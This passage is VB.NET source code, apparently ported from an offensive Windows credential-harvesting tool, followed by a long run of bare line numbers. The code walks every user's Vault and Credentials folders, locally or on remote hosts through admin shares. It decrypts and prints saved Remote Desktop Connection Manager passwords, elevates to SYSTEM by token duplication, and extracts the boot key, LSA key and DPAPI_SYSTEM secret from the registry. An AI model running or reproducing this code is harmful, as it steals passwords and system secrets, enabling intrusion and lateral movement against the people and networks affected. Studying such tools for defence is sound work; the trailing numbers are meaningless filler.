                userFolder = String.Format("\\{0}\C$\Users\", computerName)
            Else
                userFolder = String.Format("{0}\Users\", Environment.GetEnvironmentVariable("SystemDrive"))
            End If
            Dim dirs As String() = Directory.GetDirectories(userFolder)
            For Each dir As String In dirs
                Dim parts As String() = dir.Split("\"c)
                Dim userName As String = parts(parts.Length - 1)
                If Not (dir.EndsWith("Public") OrElse dir.EndsWith("Default") OrElse dir.EndsWith("Default User") OrElse dir.EndsWith("All Users")) Then
                    Dim folderLocations As String() = {String.Format("{0}\AppData\Local\Microsoft\Vault\", dir), String.Format("{0}\AppData\Roaming\Microsoft\Vault\", dir)}
                    For Each location As String In folderLocations
                        If Directory.Exists(location) Then
                            Dim vaultDirs As String() = Directory.GetDirectories(location)
                            For Each vaultDir As String In vaultDirs
                                If Regex.IsMatch(vaultDir, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                                    TriageVaultFolder(vaultDir, MasterKeys)
                                End If
                            Next
                        End If
                    Next
                End If
            Next
        Else
            Console.WriteLine("[*] Triaging Vaults for the current user" &amp; vbCrLf)
            Dim vaultPath As String = String.Format("{0}\AppData\Local\Microsoft\Vault\", System.Environment.GetEnvironmentVariable("USERPROFILE"))
            If Directory.Exists(vaultPath) Then
                Dim vaultDirs As String() = Directory.GetDirectories(vaultPath)
                For Each vaultDir As String In vaultDirs
                    If Regex.IsMatch(vaultDir, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                        TriageVaultFolder(vaultDir, MasterKeys)
                    End If
                Next
            End If
            Dim vaultPath2 As String = String.Format("{0}\AppData\Roaming\Microsoft\Vault\", System.Environment.GetEnvironmentVariable("USERPROFILE"))
            If Directory.Exists(vaultPath2) Then
                Dim vaultDirs As String() = Directory.GetDirectories(vaultPath2)
                For Each vaultDir As String In vaultDirs
                    If Regex.IsMatch(vaultDir, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                        TriageVaultFolder(vaultDir, MasterKeys)
                    End If
                Next
            End If
        End If
    End Sub
    Public Shared Sub TriageSystemCreds(ByVal MasterKeys As Dictionary(Of String, String))
        If Helpers.IsHighIntegrity() Then
            Console.WriteLine(vbCrLf &amp; "[*] Triaging System Credentials" &amp; vbCrLf)
            Dim folderLocations As String() = {String.Format("{0}\System32\config\systemprofile\AppData\Local\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\System32\config\systemprofile\AppData\Roaming\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot"))}
            For Each location As String In folderLocations
                TriageCredFolder(location, MasterKeys)
            Next
        Else
            Console.WriteLine(vbCrLf &amp; "[X] Must be elevated to triage SYSTEM credentials!" &amp; vbCrLf)
        End If
    End Sub
    Public Shared Sub TriageSystemVaults(ByVal MasterKeys As Dictionary(Of String, String))
        If Helpers.IsHighIntegrity() Then
            Console.WriteLine(vbCrLf &amp; "[*] Triaging SYSTEM Vaults" &amp; vbCrLf)
            Dim folderLocations As String() = {String.Format("{0}\System32\config\systemprofile\AppData\Local\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\LocalService\AppData\Local\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot"))}
            For Each location As String In folderLocations
                If Directory.Exists(location) Then
                    Dim vaultDirs As String() = Directory.GetDirectories(location)
                    For Each vaultDir As String In vaultDirs
                        If Regex.IsMatch(vaultDir, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                            TriageVaultFolder(vaultDir, MasterKeys)
                        End If
                    Next
                End If
            Next
        Else
            Console.WriteLine(vbCrLf &amp; "[X] Must be elevated to triage SYSTEM vaults!" &amp; vbCrLf)
        End If
    End Sub
    Public Shared Sub TriageVaultFolder(ByVal folder As String, ByVal MasterKeys As Dictionary(Of String, String))
        Dim policyFilePath As String = String.Format("{0}\Policy.vpol", folder)
        If File.Exists(policyFilePath) Then
            Console.WriteLine(vbCrLf &amp; "[*] Triaging Vault folder: {0}", folder)
            Dim policyBytes As Byte() = File.ReadAllBytes(policyFilePath)
            Dim keys As ArrayList = DPAPI.DescribePolicy(policyBytes, MasterKeys)
            If keys.Count &gt; 0 Then
                Dim vaultCredFiles As String() = Directory.GetFiles(folder)
                If (vaultCredFiles IsNot Nothing) AndAlso (vaultCredFiles.Length &lt;&gt; 0) Then
                    For Each vaultCredFile As String In vaultCredFiles
                        Dim fileName As String = System.IO.Path.GetFileName(vaultCredFile)
                        If fileName.EndsWith("vcrd") Then
                            Dim vaultCredBytes As Byte() = File.ReadAllBytes(vaultCredFile)
                            Try
                                DPAPI.DescribeVaultCred(vaultCredBytes, keys)
                            Catch e As Exception
                                Console.WriteLine("[X] Error triaging {0} : {1}", vaultCredFile, e.Message)
                            End Try
                        End If
                    Next
                End If
            End If
        End If
    End Sub
    Public Shared Sub TriageCredFolder(ByVal folder As String, ByVal MasterKeys As Dictionary(Of String, String))
        If System.IO.Directory.Exists(folder) Then
            Dim systemFiles As String() = Directory.GetFiles(folder)
            If (systemFiles IsNot Nothing) AndAlso (systemFiles.Length &lt;&gt; 0) Then
                Console.WriteLine(vbCrLf &amp; "Folder       : {0}" &amp; vbCrLf, folder)
                For Each file As String In systemFiles
                    Try
                        TriageCredFile(file, MasterKeys)
                    Catch e As Exception
                        Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message)
                    End Try
                Next
            Else
            End If
        Else
        End If
    End Sub
    Public Shared Sub TriageCredFile(ByVal credFilePath As String, ByVal MasterKeys As Dictionary(Of String, String))
        Dim fileName As String = System.IO.Path.GetFileName(credFilePath)
        Console.WriteLine("  CredFile           : {0}" &amp; vbCrLf, fileName)
        Dim credentialArray As Byte() = File.ReadAllBytes(credFilePath)
        Try
            DPAPI.DescribeCredential(credentialArray, MasterKeys)
        Catch e As Exception
            Console.WriteLine("[X] Error triaging {0} : {1}", credFilePath, e.Message)
        End Try
        Console.WriteLine()
    End Sub
    Public Shared Sub TriageRDCMan(ByVal MasterKeys As Dictionary(Of String, String), ByVal Optional computerName As String = "", ByVal Optional unprotect As Boolean = False)
        If Not String.IsNullOrEmpty(computerName) Then
            Dim canAccess As Boolean = Helpers.TestRemote(computerName)
            If Not canAccess Then
                Return
            End If
        End If
        If Helpers.IsHighIntegrity() OrElse (Not String.IsNullOrEmpty(computerName) AndAlso Helpers.TestRemote(computerName)) Then
            Console.WriteLine("[*] Triaging RDCMan.settings Files for ALL users" &amp; vbCrLf)
            Dim userFolder As String = ""
            If Not String.IsNullOrEmpty(computerName) Then
                userFolder = String.Format("\\{0}\C$\Users\", computerName)
            Else
                userFolder = String.Format("{0}\Users\", Environment.GetEnvironmentVariable("SystemDrive"))
            End If
            Dim dirs As String() = Directory.GetDirectories(userFolder)
            For Each dir As String In dirs
                Dim parts As String() = dir.Split("\"c)
                Dim userName As String = parts(parts.Length - 1)
                If Not (dir.EndsWith("Public") OrElse dir.EndsWith("Default") OrElse dir.EndsWith("Default User") OrElse dir.EndsWith("All Users")) Then
                    Dim userRDManFile As String = String.Format("{0}\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings", dir)
                    TriageRDCManFile(MasterKeys, userRDManFile, unprotect)
                End If
            Next
        Else
            Console.WriteLine("[*] Triaging RDCMan Settings Files for current user" &amp; vbCrLf)
            Dim userName As String = Environment.GetEnvironmentVariable("USERNAME")
            Dim userRDManFile As String = String.Format("{0}\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings", System.Environment.GetEnvironmentVariable("USERPROFILE"))
            TriageRDCManFile(MasterKeys, userRDManFile, unprotect)
        End If
    End Sub
    Public Shared Sub TriageRDCManFile(ByVal MasterKeys As Dictionary(Of String, String), ByVal rdcManFile As String, ByVal Optional unprotect As Boolean = False)
        If System.IO.File.Exists(rdcManFile) Then
            Dim lastAccessed As DateTime = System.IO.File.GetLastAccessTime(rdcManFile)
            Dim lastModified As DateTime = System.IO.File.GetLastWriteTime(rdcManFile)
            Dim xmlDoc As XmlDocument = New XmlDocument()
            xmlDoc.Load(rdcManFile)
            Console.WriteLine("    RDCManFile    : {0}", rdcManFile)
            Console.WriteLine("    Accessed      : {0}", lastAccessed)
            Console.WriteLine("    Modified      : {0}", lastModified)
            Dim recentlyUsed As XmlNodeList = xmlDoc.GetElementsByTagName("recentlyUsed")
            If recentlyUsed(0)("server") IsNot Nothing Then
                Dim recentlyUsedServer As String = recentlyUsed(0)("server").InnerText
                Console.WriteLine("    Recent Server : {0}", recentlyUsedServer)
            End If
            Dim credProfileNodes As XmlNodeList = xmlDoc.GetElementsByTagName("credentialsProfile")
            If (credProfileNodes IsNot Nothing) AndAlso (credProfileNodes.Count &lt;&gt; 0) Then
                Console.WriteLine(vbCrLf &amp; "        Cred Profiles")
            End If
            For Each credProfileNode As XmlNode In credProfileNodes
                Console.WriteLine()
                DisplayCredProfile(MasterKeys, credProfileNode, unprotect)
            Next
            Dim logonCredNodes As XmlNodeList = xmlDoc.GetElementsByTagName("logonCredentials")
            If (logonCredNodes IsNot Nothing) AndAlso (logonCredNodes.Count &lt;&gt; 0) Then
                Console.WriteLine(vbCrLf &amp; "        Default Logon Credentials")
            End If
            For Each logonCredNode As XmlNode In logonCredNodes
                Console.WriteLine()
                DisplayCredProfile(MasterKeys, logonCredNode, unprotect)
            Next
            Dim filesToOpen As XmlNodeList = xmlDoc.GetElementsByTagName("FilesToOpen")
            Dim items As XmlNodeList = filesToOpen(0).ChildNodes
            For Each rdgFile As XmlNode In items
                If Interop.PathIsUNC(rdcManFile) Then
                    If Not Interop.PathIsUNC(rdgFile.InnerText) Then
                        Dim computerName As String = rdcManFile.Split({"\"c}, StringSplitOptions.RemoveEmptyEntries)(0)
                        Dim rdgUncPath As String = Helpers.ConvertLocalPathToUNCPath(computerName, rdgFile.InnerText)
                        TriageRDGFile(MasterKeys, rdgUncPath, unprotect)
                    Else
                        TriageRDGFile(MasterKeys, rdgFile.InnerText, unprotect)
                    End If
                Else
                    TriageRDGFile(MasterKeys, rdgFile.InnerText, unprotect)
                End If
            Next
            Console.WriteLine()
        Else
        End If
    End Sub
    Public Shared Sub DisplayCredProfile(ByVal MasterKeys As Dictionary(Of String, String), ByVal credProfileNode As XmlNode, ByVal Optional unprotect As Boolean = False)
        Dim profileName As String = credProfileNode("profileName").InnerText
        If credProfileNode("userName") Is Nothing Then
            Console.WriteLine("          Cred Profile : {0}", profileName)
        Else
            Dim userName As String = credProfileNode("userName").InnerText.Trim()
            Dim domain As String = credProfileNode("domain").InnerText.Trim()
            Dim b64Password As String = credProfileNode("password").InnerText
            Dim password As String = ""
            Dim fullUserName As String = ""
            If String.IsNullOrEmpty(domain) Then
                fullUserName = userName
            Else
                fullUserName = String.Format("{0}\{1}", domain, userName)
            End If
            Console.WriteLine("          Profile Name : {0}", profileName)
            Console.WriteLine("            UserName   : {0}", fullUserName)
            Dim passwordDPAPIbytes As Byte() = Convert.FromBase64String(b64Password)
            If passwordDPAPIbytes.Length &gt; 0 Then
                Dim decBytesRaw As Byte() = DPAPI.DescribeDPAPIBlob(passwordDPAPIbytes, MasterKeys, "rdg", unprotect)
                If decBytesRaw.Length &lt;&gt; 0 Then
                    Dim finalIndex As Integer = Array.LastIndexOf(decBytesRaw, CByte(0))
                    If finalIndex &gt; 1 Then
                        Dim decBytes As Byte() = New Byte(finalIndex + 1 - 1) {}
                        Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex)
                        password = Encoding.Unicode.GetString(decBytes)
                    Else
                        password = Encoding.ASCII.GetString(decBytesRaw)
                    End If
                End If
                Console.WriteLine("            Password   : {0}", password)
            End If
        End If
    End Sub
    Public Shared Sub TriageRDGFile(ByVal MasterKeys As Dictionary(Of String, String), ByVal rdgFilePath As String, ByVal Optional unprotect As Boolean = False)
        If System.IO.File.Exists(rdgFilePath) Then
            Console.WriteLine(vbCrLf &amp; "      {0}", rdgFilePath)
            Dim xmlDoc As XmlDocument = New XmlDocument()
            xmlDoc.Load(rdgFilePath)
            Dim credProfileNodes As XmlNodeList = xmlDoc.GetElementsByTagName("credentialsProfile")
            If (credProfileNodes IsNot Nothing) AndAlso (credProfileNodes.Count &lt;&gt; 0) Then
                Console.WriteLine(vbCrLf &amp; "        Cred Profiles")
            End If
            For Each credProfileNode As XmlNode In credProfileNodes
                Console.WriteLine()
                DisplayCredProfile(MasterKeys, credProfileNode, unprotect)
            Next
            Dim servers As XmlNodeList = xmlDoc.GetElementsByTagName("server")
            If (servers IsNot Nothing) AndAlso (servers.Count &lt;&gt; 0) Then
                Console.WriteLine(vbCrLf &amp; "        Servers")
            End If
            For Each server As XmlNode In servers
                Try
                    If (server("properties")("name") IsNot Nothing) Then
                        If server("properties")("displayName") IsNot Nothing Then
                            Console.WriteLine(vbCrLf &amp; "          Name         : {0} ({1})", server("properties")("name").InnerText, server("properties")("displayName").InnerText)
                        Else
                            Console.WriteLine(vbCrLf &amp; "          Name         : {0}", server("properties")("name").InnerText)
                        End If
                        If server("logonCredentials") IsNot Nothing Then
                            DisplayCredProfile(MasterKeys, server("logonCredentials"), unprotect)
                        End If
                    End If
                Catch e As Exception
                    Console.WriteLine("Exception: {0}", e)
                End Try
            Next
        Else
            Console.WriteLine(vbCrLf &amp; "      [X] .RDG file '{0}' is not accessible or doesn't exist!", rdgFilePath)
        End If
    End Sub
    Public Shared Sub TriageRDGFolder(ByVal MasterKeys As Dictionary(Of String, String), ByVal folder As String, ByVal unprotect As Boolean)
        If System.IO.Directory.Exists(folder) Then
            Dim systemFiles As String() = Directory.GetFiles(folder)
            If (systemFiles IsNot Nothing) AndAlso (systemFiles.Length &lt;&gt; 0) Then
                Console.WriteLine(vbCrLf &amp; "Folder       : {0}" &amp; vbCrLf, folder)
                For Each file As String In systemFiles
                    If file.EndsWith(".rdg") Then
                        Try
                            TriageRDGFile(MasterKeys, file, unprotect)
                        Catch e As Exception
                            Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message)
                        End Try
                    End If
                Next
            Else
            End If
        Else
        End If
    End Sub
End Class
Public Class LSADump
    Public Shared Function GetDPAPIKeys(ByVal Optional show As Boolean = False) As List(Of Byte())
        Dim dpapiKeys = New List(Of Byte())
        Dim dpapiKeyFull = GetLSASecret("DPAPI_SYSTEM")
        Dim dpapiKeyMachine = New Byte(19) {}
        Dim dpapiKeyUser = New Byte(19) {}
        Array.Copy(dpapiKeyFull, 0, dpapiKeyMachine, 0, 20)
        Array.Copy(dpapiKeyFull, 20, dpapiKeyUser, 0, 20)
        dpapiKeys.Add(dpapiKeyMachine)
        dpapiKeys.Add(dpapiKeyUser)
        If show Then
            Console.WriteLine("[*] Secret  : DPAPI_SYSTEM")
            Console.WriteLine("[*]    full: {0}", BitConverter.ToString(dpapiKeyFull).Replace("-", ""))
            Console.WriteLine("[*]    m/u : {0} / {1}" &amp; vbCrLf, BitConverter.ToString(dpapiKeyMachine).Replace("-", ""), BitConverter.ToString(dpapiKeyUser).Replace("-", ""))
            Console.WriteLine("[*]    full: {0}", Convert.ToBase64String(Encoding.ASCII.GetBytes(BitConverter.ToString(dpapiKeyFull).Replace("-", "")), Base64FormattingOptions.None))
            Console.WriteLine("[*]    m/u : {0} / {1}" &amp; vbCrLf, Convert.ToBase64String(Encoding.ASCII.GetBytes(BitConverter.ToString(dpapiKeyMachine).Replace("-", "")), Base64FormattingOptions.None), Convert.ToBase64String(Encoding.ASCII.GetBytes(BitConverter.ToString(dpapiKeyUser).Replace("-", "")), Base64FormattingOptions.None))
        End If
        Return dpapiKeys
    End Function
    Public Shared Function GetLSASecret(ByVal secretName As String) As Byte()
        Dim alreadySystem = False
        If Not Helpers.IsHighIntegrity Then
            Console.WriteLine("[X] You need to be in high integrity to extract LSA secrets!")
            Return Nothing
        Else
            Dim currentName As String = Principal.WindowsIdentity.GetCurrent.Name
            If currentName Is "NT AUTHORITY\SYSTEM" Then
                alreadySystem = True
            Else
                Console.WriteLine("[*] Elevating to SYSTEM via token duplication for LSA secret retrieval")
                Helpers.GetSystem()
            End If
        End If
        Dim LSAKey = GetLSAKey()
        Dim keyPath = String.Format("SECURITY\Policy\Secrets\{0}\CurrVal", secretName)
        Dim keyData As Byte() = Helpers.GetRegKeyValue(keyPath)
        Dim keyEncryptedData = New Byte(keyData.Length - 28 - 1) {}
        Array.Copy(keyData, 28, keyEncryptedData, 0, keyEncryptedData.Length)
        Dim keyEncryptedDataEncryptedKey = New Byte(31) {}
        Array.Copy(keyEncryptedData, 0, keyEncryptedDataEncryptedKey, 0, 32)
        Dim tmpKey As Byte() = Crypto.LSASHA256Hash(LSAKey, keyEncryptedDataEncryptedKey)
        Dim keyEncryptedDataRemainder = New Byte(keyEncryptedData.Length - 32 - 1) {}
        Array.Copy(keyEncryptedData, 32, keyEncryptedDataRemainder, 0, keyEncryptedDataRemainder.Length)
        Dim IV = New Byte(15) {}
        Dim keyPathPlaintext As Byte() = Crypto.LSAAESDecrypt(tmpKey, keyEncryptedDataRemainder)
        If Not alreadySystem Then
            Console.WriteLine("[*] RevertToSelf()" &amp; vbCrLf)
            Interop.RevertToSelf()
        End If
        If secretName.Equals("DPAPI_SYSTEM") Then
            Dim secret = New Byte(39) {}
            Array.Copy(keyPathPlaintext, 20, secret, 0, 40)
            Return secret
        Else
            Console.WriteLine("[X] LSA Secret '{0}' not yet implemented!", secretName)
            Return Nothing
        End If
    End Function
    Public Shared Function GetLSAKey() As Byte()
        Dim bootkey = GetBootKey()
        Dim LSAKeyEncryptedStruct As Byte() = Helpers.GetRegKeyValue("SECURITY\Policy\PolEKList")
        Dim LSAEncryptedData = New Byte(LSAKeyEncryptedStruct.Length - 28 - 1) {}
        Array.Copy(LSAKeyEncryptedStruct, 28, LSAEncryptedData, 0, LSAEncryptedData.Length)
        Dim LSAEncryptedDataEncryptedKey = New Byte(31) {}
        Array.Copy(LSAEncryptedData, 0, LSAEncryptedDataEncryptedKey, 0, 32)
        Dim tmpKey As Byte() = Crypto.LSASHA256Hash(bootkey, LSAEncryptedDataEncryptedKey)
        Dim LSAEncryptedDataRemainder = New Byte(LSAEncryptedData.Length - 32 - 1) {}
        Array.Copy(LSAEncryptedData, 32, LSAEncryptedDataRemainder, 0, LSAEncryptedDataRemainder.Length)
        Dim IV = New Byte(15) {}
        Dim LSAKeyStructPlaintext As Byte() = Crypto.LSAAESDecrypt(tmpKey, LSAEncryptedDataRemainder)
        Dim LSAKey = New Byte(31) {}
        Array.Copy(LSAKeyStructPlaintext, 68, LSAKey, 0, 32)
        Return LSAKey
    End Function
    Public Shared Function GetBootKey() As Byte()
        Dim scrambledKey = New StringBuilder
        For Each key In New String() {"JD", "Skew1", "GBG", "Data"}
            Dim keyPath = String.Format("SYSTEM\CurrentControlSet\Control\Lsa\{0}", key)
            Dim classVal = New StringBuilder(1024)
            Dim len = 1024
            Dim result = 0
            Dim hKey = IntPtr.Zero
            Dim dummy = IntPtr.Zero
            result = Interop.RegOpenKeyEx(&amp;H80000002UL, keyPath, 0, &amp;H19, hKey)
            If result &lt;&gt; 0 Then
                Dim [error] = Marshal.GetLastWin32Error
                Dim errorMessage As String = New Win32Exception([error]).Message
                Console.WriteLine("Error opening {0} ({1}) : {2}", keyPath, [error], errorMessage)
                Return Nothing
            End If
            result = Interop.RegQueryInfoKey(hKey, classVal, len, 0, dummy, dummy, dummy, dummy, dummy, dummy, dummy, IntPtr.Zero)
            If result &lt;&gt; 0 Then
                Dim [error] = Marshal.GetLastWin32Error
                Dim errorMessage As String = New Win32Exception([error]).Message
                Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, [error], errorMessage)
                Return Nothing
            End If
            Interop.RegCloseKey(hKey)
            scrambledKey.Append(classVal)
        Next
        Dim skey As Byte() = Helpers.StringToByteArray(scrambledKey.ToString)
        Dim descramble = New Byte() {&amp;H8, &amp;H5, &amp;H4, &amp;H2, &amp;HB, &amp;H9, &amp;HD, &amp;H3, &amp;H0, &amp;H6, &amp;H1, &amp;HC, &amp;HE, &amp;HA, &amp;HF, &amp;H7}
        Dim bootkey = New Byte(15) {}
        For i = 0 To bootkey.Length - 1
            bootkey(i) = skey(descramble(i))
        Next
        Return bootkey
    End Function
End Class

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

377

378

379

380

381

382

383

384

385

386

387

388

389

390

391

392

393

394

395

396

397

398

399

400

401

402

403

404

405

406

407

408

409

410

411

412

413

414

415

416

417

418

419

420

421

422

423

424

425

426

427

428

429

430

431

432

433

434

435

436

437

438

439

440

441

442

443

444

445

446

447

448

449

450

451

452

453

454

455

456

457

458

459

460

461

462

463

464

465

466

467

468

469

470

471

472

473

474

475

476

477

478

479

480

481

482

483

484

485

486

487

488

489

490

491

492

493

494

495

496

497

498

499

500

501

502

503

504

505

506

507

508

509

510

511

512

513

514

515

516

517

518

519

520

521

522

523

524

525

526

527

528

529

530

531

532

533

534

535

536

537

538

539

540

541

542

543

544

545

546

547

548

549

550

551

552

553

554

555

556

557

558

559

560

561

562

563

564

565

566

567

568

569

570

571

572

573

574

575

576

577

578

579

580

581

582

583

584

585

586

587

588

589

590

591

592

593

594

595

596

597

598

599

600

601

602

603

604

605

606

607

608

609

610

611

612

613

614

615

616

617

618

619

620

621

622

623

624

625

626

627

628

629

630

631

632

633

634

635

636

637

638

639

640

641

642

643

644

645

646

647

648

649

650

651

652

653

654

655

656

657

658

659

660

661

662

663

664

665

666

667

668

669

670

671

672

673

674

675

676

677

678

679

680

681

682

683

684

685

686

687

688

689

690

691

692

693

694

695

696

697

698

699

700

701

702

703

704

705

706

707

708

709

710

711

712

713

714

715

716

717

718

719

720

721

722

723

724

725

726

727

728

729

730

731

732

733

734

735

736

737

738

739

740

741

742

743

744

745

746

747

748

749

750

751

752

753

754

755

756

757

758

759

760

761

762

763

764

765

766

767

768

769

770

771

772

773

774

775

776

777

778

779

780

781

782

783

784

785

786

787

788

789

790

791

792

793

794

795

796

797

798

799

800

801

802

803

804

805

806

807

808

809

810

811

812

813

814

815

816

817

818

819

820

821

822

823

824

825

826

827

828

829

830

831

832

833

834

835

836

837

838

839

840

841

842

843

844

845

846

847

848

849

850

851

852

853

854

855

856

857

858

859

860

861

862

863

864

865

866

867

868

869

870

871

872

873

874

875

876

877

878

879

880

881

882

883

884

885

886

887

888

889

890

891

892

893

894

895

896

897

898

899

900

901

902

903

904

905

906

907

908

909

910

911

912

913

914

915

916

917

918

919

920

921

922

923

924

925

926

927

928

929

930

931

932

933

934

935

936

937

938

939

940

941

942

943

944

945

946

947

948

949

950

951

952

953

954

955

956

957

958

959

960

961

962

963

964

965

966

967

968

969

970

971

972

973

974

975

976

977

978

979

980

981

982

983

984

985

986

987

988

989

990

991

992

993

994

995

996

997

998

999

1000

1001

1002

1003

1004

1005

1006

1007

1008

1009

1010

1011

1012

1013

1014

1015

1016

1017

1018

1019

1020

1021

1022

1023

1024

1025

1026

1027

1028

1029

1030

1031

1032

1033

1034

1035

1036

1037

1038

1039

1040

1041

1042

1043

1044

1045

1046

1047

1048

1049

1050

1051

1052

1053

1054

1055

1056

1057

1058

1059

1060

1061

1062

1063

1064

1065

1066

1067

1068

1069

1070

1071

1072

1073

1074

1075

1076

1077

1078

1079

1080

1081

1082

1083

1084

1085

1086

1087

1088

1089

1090

1091

1092

1093

1094

1095

1096

1097

1098

1099

1100

1101

1102

1103

1104

1105

1106

1107

1108

1109

1110

1111

1112

1113

1114

1115

1116

1117

1118

1119

1120

1121

1122

1123

1124

1125

1126

1127

1128

1129

1130

1131

1132

1133

1134

1135

1136

1137

1138

1139

1140

1141

1142

1143

1144

1145

1146

1147

1148

1149

1150

1151

1152

1153

1154

1155

1156

1157

1158

1159

1160

1161

1162

1163

1164

1165

1166

1167

1168

1169

1170

1171

1172

1173

1174

1175

1176

1177

1178

1179

1180

1181

1182

1183

1184

1185

1186

1187

1188

1189

1190

1191

1192

1193

1194

1195

1196

1197

1198

1199

1200

1201

1202

1203

1204

1205

1206

1207

1208

1209

1210

1211

1212

1213

1214

1215

1216

1217

1218

1219

1220

1221

1222

1223

1224

1225

1226

1227

1228

1229

1230

1231

1232

1233

1234

1235

1236

1237

1238

1239

1240

1241

1242

1243

1244

1245

1246

1247

1248

1249

1250

1251

1252

1253

1254

1255

1256

1257

1258

1259

1260

1261

1262

1263

1264

1265

1266

1267

1268

1269

1270

1271

1272

1273

1274

1275

1276

1277

1278

1279

1280

1281

1282

1283

1284

1285

1286

1287

1288

1289

1290

1291

1292

1293

1294

1295

1296

1297

1298

1299

1300

1301

1302

1303

1304

1305

1306

1307

1308

1309

1310

1311

1312

1313

1314

1315

1316

1317

1318

1319

1320

1321

1322

1323

1324

1325

1326

1327

1328

1329

1330

1331

1332

1333

1334

1335

1336

1337

1338

1339

1340

1341

1342

1343

1344

1345

1346

1347

1348

1349

1350

1351

1352

1353

1354

1355

1356

1357

1358

1359

1360

1361

1362

1363

1364

1365

1366

1367

1368

1369

1370

1371

1372

1373

1374

1375

1376

1377

1378

1379

1380

1381

1382

1383

1384

1385

1386

1387

1388

1389

1390

1391

1392

1393

1394

1395

1396

1397

1398

1399

1400

1401

1402

1403

1404

1405

1406

1407

1408

1409

1410

1411

1412

1413

1414

1415

1416

1417

1418

1419

1420

1421

1422

1423

1424

1425

1426

1427

1428

1429

1430

1431

1432

1433

1434

1435

1436

1437

1438

1439

1440

1441

1442

1443

1444

1445

1446

1447

1448

1449

1450

1451

1452

1453

1454

1455

1456

1457

1458

1459

1460

1461

1462

1463

1464

1465

1466

1467

1468

1469

1470

1471

1472

1473

1474

1475

1476

1477

1478

1479

1480

1481

1482

1483

1484

1485

1486

1487

1488

1489

1490

1491

1492

1493

1494

1495

1496

1497

1498

1499

1500

1501

1502

1503

1504

1505

1506

1507

1508

1509

1510

1511

1512

1513

1514

1515

1516

1517

1518

1519

1520

1521

1522

1523

1524

1525

1526

1527

1528

1529

1530

1531

1532

1533

1534

1535

1536

1537

1538

1539

1540

1541

1542

1543

1544

1545

1546

1547

1548

1549

1550

1551

1552

1553

1554

1555

1556

1557

1558

1559

1560

1561

1562

1563

1564

1565

1566

1567

1568

1569

1570

1571

1572

1573

1574

1575

1576

1577

1578

1579

1580

1581

1582

1583

1584

1585

1586

1587

1588

1589

1590

1591

1592

1593

1594

1595

1596

1597

1598

1599

1600

1601

1602

1603

1604

1605

1606

1607

1608

1609

1610

1611

1612

1613

1614

1615

1616

1617

1618

1619

1620

1621

1622

1623

1624

1625

1626

1627

1628

1629

1630

1631

1632

1633

1634

1635

1636

1637

1638

1639

1640

1641

1642

1643

1644

1645

1646

1647

1648

1649

1650

1651

1652

1653

1654

1655

1656

1657

1658

1659

1660

1661

1662

1663

1664

1665

1666

1667

1668

1669

1670

1671

1672

1673

1674

1675

1676

1677

1678

1679

1680

1681

1682

1683

1684

1685

1686

1687

1688

1689

1690

1691

1692

1693

1694

1695

1696

1697

1698

1699

1700

1701

1702

1703

1704

1705

1706

1707

1708

1709

1710

1711

1712

1713

1714

1715

1716

1717

1718

1719

1720

1721

1722

1723

1724

1725

1726

1727

1728

1729

1730

1731

1732

1733

1734

1735

1736

1737

1738

1739

1740

1741

1742

1743

1744

1745

1746

1747

1748

1749

1750

1751

1752

1753

1754

1755

1756

1757

1758

